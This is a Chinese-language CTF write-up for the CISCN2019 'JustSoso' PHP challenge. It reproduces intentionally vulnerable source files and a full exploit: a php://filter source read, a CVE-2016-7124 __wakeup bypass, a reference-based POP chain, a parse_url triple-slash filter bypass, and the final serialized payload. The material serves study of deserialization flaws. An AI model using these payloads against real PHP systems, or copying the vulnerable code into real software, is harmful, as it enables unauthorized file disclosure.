[CISCN2019]JustSoso
起因是今天提到了前几天那道反序列化题目的时候,群友给了这道有着同样考点的题目。去了各个CTF平台上搜了一下发现没有现成的环境,就结合已有的WP简单复现了一下。
题目复现
PHP版本(可以执行CVE-2016-7124的版本):
- PHP5 < 5.6.25
- PHP7 < 7.0.10
目录下准备三个文件:index.php, hint.php, flag.php。下面是这些文件的内容:
<?php
# index.php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--index.php?file=xx.php-->
<!--hint.php-->
<?php
# hint.php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
<?php
# flag.php
$flag = 'skyblu3{kilig_love_!!!}';
?>
题解
根据注释里的提示使用file参数对index.php和hint.php源码进行读取:php://filter/read=convert.base64-encode/resource=index.php
用?file=hint.php把hint.php包含进来,因为file中不能出现flag,所以后面用反序列化读取flag.php。
后面的考点涉及:parse_url解析漏洞、CVE-2016-7124 __wakeup绕过、PHP引用赋值。
首先是利用hint.php读取flag,方法是:
- 修改序列化后类的属性数量绕过__wakeup,避免__wakeup中对
$this->handle的覆盖。 $this->handle->token = &$this->handle->token_flag;建立一个引用,让$this->token_flag被赋值的时候同时也修改$this->token的值,使得通过后面的判断。
构造pop链:
<?php
class Handle{
private $handle;
public function __construct()
{
$this->handle = new Flag('flag.php');
$this->handle->token = &$this->handle->token_flag;
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
}
}
$h = new Handle();
echo serialize($h);
// O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
?>
index.php中对传入参数的值也进行了检查,检查方式使用的是parse_url,这里用一个测试脚本简单了解下绕过的方式:
<?php
$url=parse_url($_SERVER['REQUEST_URI']);
var_dump($url);
parse_str($url['query'],$query);
var_dump($query);
foreach($query as $value){
echo $value."\n";
}
var_dump($_GET);
请求url:http://localhost:8888/binx/justsoso/test.php?id=1&user=admin&passwd=123456

在请求的路径前加上//绕过:http://localhost:8888///binx/justsoso/test.php?id=1&user=admin&passwd=123456

有了这些之后,上面的题目也就迎刃而解。最后的payload:?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
